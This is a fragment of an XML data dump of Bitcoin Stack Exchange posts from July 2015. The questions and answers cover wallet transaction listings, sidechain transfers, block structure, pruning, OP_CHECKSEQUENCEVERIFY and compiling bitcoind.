&quot;blocktime&quot; : 1437928178,&#xA;    &quot;txid&quot; : &quot;eb0f12741947a3be8fdbb15c0401a663e45bd0c68b317b58f250fbb3a698e5fa&quot;,&#xA;    &quot;walletconflicts&quot; : [&#xA;    ],&#xA;    &quot;time&quot; : 1437928101,&#xA;    &quot;timereceived&quot; : 1437928101&#xA;},&#xA;{&#xA;    &quot;involvesWatchonly&quot; : true,&#xA;    &quot;account&quot; : &quot;&quot;,&#xA;    &quot;address&quot; : &quot;3Ft9W7HfXeBMwuwcfehV9UPs5gnxbc7Wji&quot;,&#xA;    &quot;category&quot; : &quot;send&quot;,&#xA;    &quot;amount&quot; : -0.00019000,&#xA;    &quot;vout&quot; : 1,&#xA;    &quot;fee&quot; : -0.00010000,&#xA;    &quot;confirmations&quot; : 20,&#xA;    &quot;blockhash&quot; : &quot;0000000000000000007f43360b2d7005c8f25013647359d468b8c2ef281672ab&quot;,&#xA;    &quot;blockindex&quot; : 438,&#xA;    &quot;blocktime&quot; : 1437928178,&#xA;    &quot;txid&quot; : &quot;eb0f12741947a3be8fdbb15c0401a663e45bd0c68b317b58f250fbb3a698e5fa&quot;,&#xA;    &quot;walletconflicts&quot; : [&#xA;    ],&#xA;    &quot;time&quot; : 1437928101,&#xA;    &quot;timereceived&quot; : 1437928101&#xA;},&#xA;{&#xA;    &quot;involvesWatchonly&quot; : true,&#xA;    &quot;account&quot; : &quot;&quot;,&#xA;    &quot;address&quot; : &quot;31zeoskE8zeyQARFEVzwJzsp7GQpLn5zhF&quot;,&#xA;    &quot;category&quot; : &quot;send&quot;,&#xA;    &quot;amount&quot; : -0.00010000,&#xA;    &quot;vout&quot; : 0,&#xA;    &quot;fee&quot; : -0.00010000,&#xA;    &quot;confirmations&quot; : 20,&#xA;    &quot;blockhash&quot; : &quot;0000000000000000007f43360b2d7005c8f25013647359d468b8c2ef281672ab&quot;,&#xA;    &quot;blockindex&quot; : 438,&#xA;    &quot;blocktime&quot; : 1437928178,&#xA;    &quot;txid&quot; : &quot;eb0f12741947a3be8fdbb15c0401a663e45bd0c68b317b58f250fbb3a698e5fa&quot;,&#xA;    &quot;walletconflicts&quot; : [&#xA;    ],&#xA;    &quot;time&quot; : 1437928101,&#xA;    &quot;timereceived&quot; : 1437928101&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why I am getting duplicate transactions in this output! ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Help will be appreciated, Thanks&lt;/p&gt;&#xA;" OwnerUserId="25002" LastEditorUserId="25002" LastEditDate="2015-07-26T19:19:47.530" LastActivityDate="2018-12-13T06:12:02.913" Title="listtransactions returning duplicate transactions with category &quot;Send&quot; &amp; &quot;Received&quot; both" Tags="|bitcoind|bitcoin-core|client|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38819" PostTypeId="2" ParentId="38815" CreationDate="2015-07-27T02:40:40.110" Score="1" Body="&lt;p&gt;The lower the hash has to be, the higher the difficulty. Finding a hash whose first 32 bits are zeroes is not as hard as finding a hash whose first 36 bits are zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a relatively slow miner, you probably don't want your shares to be too difficult or you'll find them only rarely and the accuracy of your tracking will be poor. But if you have a very fast miner, you probably don't want your shares to be too easy or you'll be finding so many of them that reporting them to the pool can become a bottleneck.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-07-27T02:40:40.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38822" PostTypeId="1" AcceptedAnswerId="38838" CreationDate="2015-07-27T05:21:59.313" Score="0" ViewCount="204" Body="&lt;p&gt;I am trying to do a pegged transfer from one of my private blockchain to a sidechains using sidechain-manipulation.py (&lt;a href=&quot;https://github.com/ElementsProject/elements/blob/alpha/contrib/sidechain-manipulation.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ElementsProject/elements/blob/alpha/contrib/sidechain-manipulation.py&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a successful address creation and send-to-sidechain after doing necesary modifications on Sidechain chainparams(presently configured only for main and testnet)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I try to claim in the sidechain I get the following error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;./contrib/sidechain-manipulation.py&quot;, line 176, in &amp;lt;module&amp;gt;&#xA;    txid = sidechain.sendrawtransaction(res_tx)&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/bitcoinrpc/authproxy.py&quot;, line 140, in __call__&#xA;    raise JSONRPCException(response['error'])&#xA;JSONRPCException: -26: 16: mandatory-script-verify-flag-failed (Script failed an OP_CHECKSIGVERIFY operation)&#xA;&#xA;Got the following error from an RPC Call:&#xA;{u'message': u'16: mandatory-script-verify-flag-failed (Script failed an OP_CHECKSIGVERIFY operation)', u'code': -26}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see the following lines in claim-on-sidechains sidechain-manipulation.py,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    # Might need to calculate the scriptSig here&#xA;    secondScriptSig = &quot;1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is, what is this secondScriptSig ?!?! How does it relate to withdrawKeys?&lt;/p&gt;&#xA;" OwnerUserId="27650" LastActivityDate="2015-07-27T21:55:19.683" Title="Pegged transfer from private blockchain to sidechains - Issue" Tags="|sidechains|private-blockchains|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38823" PostTypeId="2" ParentId="38273" CreationDate="2015-07-27T07:02:23.773" Score="3" Body="&lt;p&gt;Note that there is a new and better paper about this topic by Aviv Zohar et al. - &lt;a href=&quot;http://arxiv.org/pdf/1507.06183v1.pdf&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/pdf/1507.06183v1.pdf&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of the solutions suggested have been implemented yet. The attack is significant enough that some solution will need to be found, but that's up to researchers, not developers.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-07-27T07:02:23.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38825" PostTypeId="1" CreationDate="2015-07-27T10:26:55.533" Score="4" ViewCount="190" Body="&lt;p&gt;I'm just getting started looking at bitcoin and it's protocol, so this might be an incredibly stupid question. Why does bitcoin have a separate concept of transactions? Wouldn't it be better for each block to have a bunch of inputs and a bunch of outputs without separating them as individual transactions? This way it's more anonymous and private, since anyone trying to track an public key is stopped since their transactions are mixed with hundreds of others?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess technically, you could do that right now, by making one transaction with hundreds of inputs and outputs and mining that. I'm not asking why transactions are propagated by the nodes, I'm asking why are they stored separately in the final blocks?&lt;/p&gt;&#xA;" OwnerUserId="27653" LastActivityDate="2015-07-27T12:54:02.707" Title="Why are transactions separate in a block?" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38826" PostTypeId="2" ParentId="38414" CreationDate="2015-07-27T11:34:34.317" Score="-2" Body="&lt;p&gt;U can use this platform &lt;a href=&quot;http://www.ecoin.eu&quot; rel=&quot;nofollow&quot;&gt;http://www.ecoin.eu&lt;/a&gt; . I think it's a better option. And it's without any commissions. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="27655" LastActivityDate="2015-07-27T11:34:34.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38827" PostTypeId="2" ParentId="38825" CreationDate="2015-07-27T11:42:43.030" Score="3" Body="&lt;p&gt;An interesting idea, but I don't think it technically works out. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Transactions include a digital signature of the set of inputs and outputs in a transaction. This signature could not be validated if the inputs and outputs where not linked. &lt;/li&gt;&#xA;&lt;li&gt;Since signatures wouldn't be tied to specific outputs/inputs, what would stop a greedy miner from including your inputs but not your outputs? &lt;/li&gt;&#xA;&lt;li&gt;Outputs can be created and spent in the same block. So you can't list all inputs, and then list all outputs, because some of those inputs depends on those outputs being known first. (There may be a work around for this, but it complicates things) &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-07-27T11:42:43.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38829" PostTypeId="2" ParentId="38825" CreationDate="2015-07-27T12:33:28.640" Score="1" Body="&lt;p&gt;Because when someone creates a transaction, they don't know what other transactions will be included in the same block... and it is the transactions that are signed by the sender, not the whole block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a mechanism in between, namely CoinJoin, where multiple transaction creators/senders collaborate to create a joint transaction with multiple inputs and outouts from each of the participants, to increase privacy.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-07-27T12:54:02.707" LastActivityDate="2015-07-27T12:54:02.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38830" PostTypeId="2" ParentId="38814" CreationDate="2015-07-27T12:43:49.480" Score="0" Body="&lt;p&gt;You can export your wallet to Blockchain.info, and then send the bitcoin to Coinbase for 0 fees. This, by definition, is cheapest. Please notice however that if you have many small transactions (&quot;dust&quot;), your request might take a long time to confirm, if at all.&lt;/p&gt;&#xA;" OwnerUserId="6927" LastActivityDate="2015-07-27T12:43:49.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38831" PostTypeId="1" CreationDate="2015-07-27T13:44:00.443" Score="2" ViewCount="866" Body="&lt;p&gt;I'm trying to import a Private Key from MultiBit into Blockchain.info, but get an error saying &quot;&lt;em&gt;Error importing private key: Unknown Key Format&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my MultiBit key in the wrong format or something?&lt;/p&gt;&#xA;" OwnerUserId="22797" LastEditorUserId="5406" LastEditDate="2015-07-27T15:03:55.113" LastActivityDate="2015-07-27T15:03:55.113" Title="Unknown key format when importing Private Key from Multibit to Blockchain.info" Tags="|blockchain.info|private-key|multibit|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38832" PostTypeId="2" ParentId="5378" CreationDate="2015-07-27T15:00:14.260" Score="1" Body="&lt;p&gt;StrongCoin Wallet pays affiliates a share of revenue. &lt;a href=&quot;https://strongcoin.com/en/blog/strongcoin_affiliate_program&quot; rel=&quot;nofollow&quot;&gt;https://strongcoin.com/en/blog/strongcoin_affiliate_program&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2015-07-27T15:00:14.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38833" PostTypeId="1" CreationDate="2015-07-27T15:01:46.607" Score="2" ViewCount="122" Body="&lt;p&gt;Is it possible to create a type of redemption script that when the correct number of signatures are collected pays out to a pre-defined address ?&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2016-05-12T16:52:30.670" Title="P2SH that pays out only to a certain Bitcoin address?" Tags="|p2sh|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38834" PostTypeId="1" CreationDate="2015-07-27T18:14:46.653" Score="2" ViewCount="878" Body="&lt;p&gt;I use Windows, Android, Chrome - what wallet would be best and safest for beginner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to run on both Windows and Android.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="27662" LastActivityDate="2016-03-08T16:55:05.740" Title="Recommended bitcoin wallet for beginner?" Tags="|wallet|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-08-23T13:24:36.580" ContentLicense="CC BY-SA 3.0" />
  <row Id="38836" PostTypeId="2" ParentId="4178" CreationDate="2015-07-27T20:46:33.693" Score="6" Body="&lt;p&gt;Great resources here to help you select an individual wallet: &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoin.org/en/choose-your-wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Truthfully, having your own wallet that works across Windows/Android/Chrome might be on the tricky side for beginners. If you don't mind a web-based wallet where it's controlled by another party, I'd suggest using &lt;a href=&quot;http://www.coinbase.com/&quot; rel=&quot;noreferrer&quot;&gt;Coinbase&lt;/a&gt;, &lt;a href=&quot;http://www.xapo.com/&quot; rel=&quot;noreferrer&quot;&gt;Xapo&lt;/a&gt;, or &lt;a href=&quot;http://www.circle.com/&quot; rel=&quot;noreferrer&quot;&gt;Circle&lt;/a&gt; as the easiest way to get something cross-platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a web-based wallet, you can still maintain a degree of control by keeping the majority of you bitcoin on a hardware wallet, a dedicated, offline computer that runs its own wallet, or a paper wallet, and then use the web-based wallet for smaller amounts.&lt;/p&gt;&#xA;" OwnerUserId="26887" LastActivityDate="2015-07-27T20:46:33.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38837" PostTypeId="1" AcceptedAnswerId="38852" CreationDate="2015-07-27T21:14:15.993" Score="1" ViewCount="840" Body="&lt;p&gt;I am trying to run a bitcoind instance (branch 0.9 from git repository) on CentOS 6.6 following &lt;a href=&quot;https://gist.github.com/janx/10465121&quot; rel=&quot;nofollow&quot;&gt;this guide&lt;/a&gt; but I get this error when building LevelDB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Building LevelDB ...&#xA;make[3]: Entering directory `/home/bitcoind/bitcoind/downloads/bitcoin/src/leveldb'&#xA;g++ -I. -I./include -fno-builtin-memcmp -pthread -DOS_LINUX -DLEVELDB_PLATFORM_POSIX -g -O2 -Wall -Wextra -Wformat -Wformat-security -Wno-unused-parameter  -Wstack-protector -fstack-protector-all -fPIE -fvisibility=hidden -I/home/bitcoind/bitcoind/deps/include -DBOOST_SPIRIT_THREADSAFE -DHAVE_BUILD_INFO -D__STDC_FORMAT_MACROS  -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -c helpers/memenv/memenv.cc -o helpers/memenv/memenv.o&#xA;helpers/memenv/memenv.cc: In member function ‘leveldb::Status leveldb::&amp;lt;unnamed&amp;gt;::FileState::Read(uint64_t, size_t, leveldb::Slice*, char*) const’:&#xA;helpers/memenv/memenv.cc:65: error: ‘SIZE_MAX’ was not declared in this scope&#xA;make[3]: *** [helpers/memenv/memenv.o] Error 1&#xA;make[3]: Leaving directory `/home/bitcoind/bitcoind/downloads/bitcoin/src/leveldb'&#xA;make[2]: *** [leveldb/libmemenv.a] Error 2&#xA;make[2]: Leaving directory `/home/bitcoind/bitcoind/downloads/bitcoin/src'&#xA;make[1]: *** [all-recursive] Error 1&#xA;make[1]: Leaving directory `/home/bitcoind/bitcoind/downloads/bitcoin/src'&#xA;make: *** [all-recursive] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gcc version: &lt;code&gt;gcc version 4.4.7 20120313 (Red Hat 4.4.7-11) (GCC)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/XZtFk6at&quot; rel=&quot;nofollow&quot;&gt;Here is the a pastebin&lt;/a&gt; with the end of the compiling output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have some idea on how to workaround it?&lt;/p&gt;&#xA;" OwnerUserId="26842" LastEditorUserId="26842" LastEditDate="2015-07-28T13:53:36.210" LastActivityDate="2015-07-28T13:59:23.630" Title="bitcoin compile error on CentOS 6.6: ‘SIZE_MAX’ was not declared in this scope" Tags="|bitcoind|leveldb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38838" PostTypeId="2" ParentId="38822" CreationDate="2015-07-27T21:55:19.683" Score="1" Body="&lt;p&gt;The secondScriptSig is a script in each transfer transaction which satisfies the chain-global secondScriptPubKey. The secondScriptPubKey is intended to allow, in a flexible way, each chain to define its own additional terms. For example, a chain may restrict transfers to only be allowed if they are co-signed by a multisig federation (in the full federated peg mode), or restrict the total value which may be pulled out of a sidechain in individual transfers. In alpha, it is effectively unused - hence the secondScriptSig simply being the constant script &quot;OP_TRUE&quot;.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2015-07-27T21:55:19.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38840" PostTypeId="2" ParentId="37146" CreationDate="2015-07-27T22:40:16.443" Score="2" Body="&lt;p&gt;Hashcash with SHA256 is about the best possible compute bound proof-of-work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a memory bound proof-of-work (which Litecoin's is not), like my &lt;a href=&quot;https://github.com/tromp/cuckoo&quot; rel=&quot;nofollow&quot;&gt;Cuckoo Cycle&lt;/a&gt;, memory latency, rather than computation, is the bottleneck, thus turning commodity DRAM into the ASIC.&lt;/p&gt;&#xA;" OwnerUserId="14258" LastActivityDate="2015-07-27T22:40:16.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38842" PostTypeId="1" AcceptedAnswerId="38844" CreationDate="2015-07-28T03:03:02.300" Score="2" ViewCount="263" Body="&lt;p&gt;Why does the size of the output of&lt;/p&gt;&#xA;&#xA;&lt;p&gt;     &lt;code&gt;bitcoin-cli&lt;/code&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-reference#backupwallet&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;backupwallet&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or, equivalently, &lt;code&gt;wallet.dat&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;increase over time?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2015-07-28T12:10:11.123" LastActivityDate="2015-07-28T12:10:11.123" Title="Why does my wallet size increase over time?" Tags="|backup|wallet.dat|keypool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38844" PostTypeId="2" ParentId="38842" CreationDate="2015-07-28T06:18:46.940" Score="2" Body="&lt;p&gt;The current &lt;code&gt;wallet.dat&lt;/code&gt; file increases because you add new keys when you refill your keypool (get new addresses) or if you receive or send transactions. Mind that every wallet-relevant transaction is stored (together with some metadata) in your wallet.dat.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-07-28T06:18:46.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38845" PostTypeId="1" AcceptedAnswerId="38846" CreationDate="2015-07-28T06:50:43.137" Score="13" ViewCount="3525" Body="&lt;p&gt;Some people have suggested repurposing OP_NOP3 as a new opcode, OP_CHECKSEQUENCEVERIFY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would the new opcode do? Why is it useful? Can't the signer choose the sequence field when they sign?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2018-03-25T01:22:57.877" LastActivityDate="2020-07-16T02:31:11.987" Title="What does OP_CHECKSEQUENCEVERIFY (OP_CSV) do?" Tags="|bitcoin-core-development|checksequenceverify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38846" PostTypeId="2" ParentId="38845" CreationDate="2015-07-28T07:57:07.937" Score="11" Body="&lt;p&gt;&lt;code&gt;OP_CHECKSEQUENCEVERIFY&lt;/code&gt; (a.k.a &lt;code&gt;OP_RELATIVECHECKLOCKTIMEVERIFY&lt;/code&gt;) can do &lt;strong&gt;relative lock times&lt;/strong&gt; (used for sidechains and lightning).&lt;/p&gt;&#xA;&lt;p&gt;It basically checks, if an input's sequence number is smaller than the sequence threshold (1 &amp;lt;&amp;lt; 31 = 2147483648), and if so, it will compare the &lt;code&gt;nLockTime&lt;/code&gt; against the sequence number of the input.&lt;/p&gt;&#xA;&lt;p&gt;More info:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/ElementsProject/elementsproject.github.io/tree/master#relative-lock-time&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ElementsProject/elementsproject.github.io/tree/master#relative-lock-time&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/maaku/bitcoin/commit/fd9864c3a3c6f2942bc0775c6c725aa379f9d616&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/maaku/bitcoin/commit/fd9864c3a3c6f2942bc0775c6c725aa379f9d616&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://lightning.network/lightning-network-paper.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lightning.network/lightning-network-paper.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3697" LastEditorUserId="5406" LastEditDate="2020-07-16T02:31:11.987" LastActivityDate="2020-07-16T02:31:11.987" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="38847" PostTypeId="2" ParentId="20000" CreationDate="2015-07-28T09:04:27.857" Score="18" Body="&lt;p&gt;Since Bitcoin-Core 0.11.0 you can prune (trim) the blockchain in Bitcoin-Qt.&#xA;But not from the UI.&#xA;You need to add &lt;code&gt;prune=550&lt;/code&gt; to your bitcoin.conf file and restart Bitcoin-Qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&#xA;&lt;code&gt;-prune=&amp;lt;target in MiB&amp;gt;&lt;/code&gt; will tell bitcoin-core to remove blocks which are older than oldest block that can be kept with a chainsize (sum of block-sizes) of &lt;code&gt;&amp;lt;target&amp;gt;&lt;/code&gt; (min. 550MiB as example above shows). A minimum of 550MiB ensures to keep at least 288 blocks (~2 days). &#xA;&lt;em&gt;(simple explanation not including undo-data)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Restriction:&lt;/strong&gt;&#xA;&lt;code&gt;-prune&lt;/code&gt; does disable all wallet functions in version 0.11 (will work with a wallet in version 0.12).&lt;/p&gt;&#xA;" OwnerUserId="3697" LastEditorUserId="5406" LastEditDate="2017-09-04T19:27:44.443" LastActivityDate="2017-09-04T19:27:44.443" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38849" PostTypeId="1" CreationDate="2015-07-28T11:50:51.103" Score="2" ViewCount="1206" Body="&lt;p&gt;I am trying to implement bitcoin payments for the project I'm currently working on, and I need to create a bitcoin wallet that should be inside a USB stick. This USB stick should be at the hands of the project manager, and every developer that wants to make test bitcoin payments should ask for the USB, plug it on their computer, make a payment with that wallet and return it. Since this wallet will be filled with company money for testing purposes, we can't just use our personal wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do, is having the blockchain in a shared folder in the network, in a place that it's accessible by all dev machines, and at the same time having a single wallet in the USB stick that should be usable by everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this even possible?&lt;/li&gt;&#xA;&lt;li&gt;I know that I can set the data directory on Bitcoin Core with the &lt;code&gt;datadir=&quot;/data/directory/whatever&quot;&lt;/code&gt; but for this to work, I'll propably need an external hard drive instead of a usb stick since this also points to the location of the blockchain. Can I somehow set the wallet folder separately from the blockchain folder?&lt;/li&gt;&#xA;&lt;li&gt;If bitcoin-core doesn't make it, is there any other client that allows this to happen without having to use an external service?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27668" LastEditorUserId="5406" LastEditDate="2015-07-28T17:01:46.407" LastActivityDate="2015-09-26T17:14:20.037" Title="Is it possible to have my blockchain on a different folder than that of my wallet files?" Tags="|bitcoin-core|shared|datadir|" AnswerCount="1" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38850" PostTypeId="7" CreationDate="2015-07-28T12:34:11.597" Score="0" Body="&lt;p&gt;&lt;strong&gt;New to Bitcoin?&lt;/strong&gt;&lt;br&gt;&#xA;Check out these questions for some food for thought:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.stackexchange.com/q/336&quot;&gt;What is a good way to concisely explain Bitcoin?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.stackexchange.com/q/16&quot;&gt;What are some good resources for understanding Bitcoin?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.stackexchange.com/a/22840&quot;&gt;I am new to Bitcoin, how can I get started?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="5406" LastEditDate="2015-07-28T12:34:11.597" LastActivityDate="2015-07-28T12:34:11.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38851" PostTypeId="2" ParentId="38849" CreationDate="2015-07-28T13:53:43.697" Score="2" Body="&lt;p&gt;For safety and integrity reasons, the wallet file must be held within the datadir. You can choose a different file with &lt;code&gt;-wallet=&amp;lt;file&amp;gt;&lt;/code&gt; (config or startup argument). But only a filename not a path.&#xA;Don't try to share your wallet between multiple bitcoin-core instances. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you really want to do is &lt;strong&gt;multisig&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have a bip32 watch-only wallet with a 2of2 multisig (you can watch the funds, but not spend/sign).&#xA;With additional hardware wallets (like an USB stick), something like Trezor or &lt;a href=&quot;http://digitalbitbox.com&quot; rel=&quot;nofollow&quot;&gt;digitalbitbox.com&lt;/a&gt; you could – in theory – sing the desired transaction and therefore complete it and make it ready for broadcasting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, unfortunately, it's not possible with current version of bitcoin-core without entering the RPC world and also patching and self-compiling bitcoin-core. &lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-07-28T13:53:43.697" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38852" PostTypeId="2" ParentId="38837" CreationDate="2015-07-28T13:59:23.630" Score="1" Body="&lt;p&gt;So I found &lt;a href=&quot;https://bitcointa.lk/threads/bitcoin-core-0-10-0-has-been-released.422213/page-5&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; that gave me the clue how to workaround this issue, basically insert the following at line 5 of &lt;code&gt;src/leveldb/helpers/memenv/memenv.h&lt;/code&gt; and it compiles fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#ifndef __STDC_LIMIT_MACROS&#xA;#define __STDC_LIMIT_MACROS&#xA;#endif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26842" LastActivityDate="2015-07-28T13:59:23.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38854" PostTypeId="1" AcceptedAnswerId="38856" CreationDate="2015-07-28T23:36:43.083" Score="3" ViewCount="408" Body="&lt;p&gt;One of the concerns with increasing the block size is that it may get orphaned more often due to network latency in sending the big block. Why can't miners send the block without the nonce as soon as they start working on them. When they find the nonce, they can just send the nonce with block headers which will be quick. It will be also fast for other nodes to validate as they have to just check one hash with the nonce to know if the block is valid or not. They would have already validated the transactions before and merkleroot much before.&lt;/p&gt;&#xA;" OwnerUserId="23302" LastEditorUserId="5406" LastEditDate="2016-04-01T09:29:42.673" LastActivityDate="2016-04-01T09:29:42.673" Title="Are blocks sent only after finding nonce?" Tags="|block|mining-theory|nonce|block-size-increase|latency|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38855" PostTypeId="2" ParentId="38854" CreationDate="2015-07-29T00:25:34.897" Score="2" Body="&lt;p&gt;It would be radically inefficient for every miner to flood the network with their blocks before they've won the proof-of-work competition.&lt;/p&gt;&#xA;" OwnerUserId="27673" LastActivityDate="2015-07-29T00:25:34.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38856" PostTypeId="2" ParentId="38854" CreationDate="2015-07-29T00:59:57.967" Score="4" Body="&lt;p&gt;This effectively already happens on several levels, though without direct miner interaction. Both Bitcoin Core and the &lt;a href=&quot;http://bitcoinrelaynetwork.org/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Relay Network&lt;/a&gt; have their own implementation of forward preparation for the validation of blocks with the intent of speeding up block propagation as much as possible. One focused on validation latency, one on bandwidth and latency.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin Core has a validation cache of transactions it sees unconfirmed on the network, this allows the most expensive operations (executing the script, and validating signatures) to happen long before they are included in any block. Very often a node which has been active on the network for even a few minutes has already validated a large portion of any new blocks that arrive. When a new block is seen the uncached transactions are validated, inputs are checked, and the block is connected without having to do extensive, expensive validation of the contents. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Bitcoin Relay Network takes this concept even further, it keeps track of transactions a node has already validated and transmits blocks excluding those transactions in order to save time on the wire. For many blocks this means the network only needs to push around the header (80 bytes), and a 2 byte integer referencing all the included transactions. An entire block might only be a few hundred bytes total and can be shuffled around the network quickly, then reassembled by the client using the transactions they already have in their mempool. A large portion of miners and services use this to drastically reduce network latency and subsequently their stale block rate over just using the P2P network to relay blocks around. 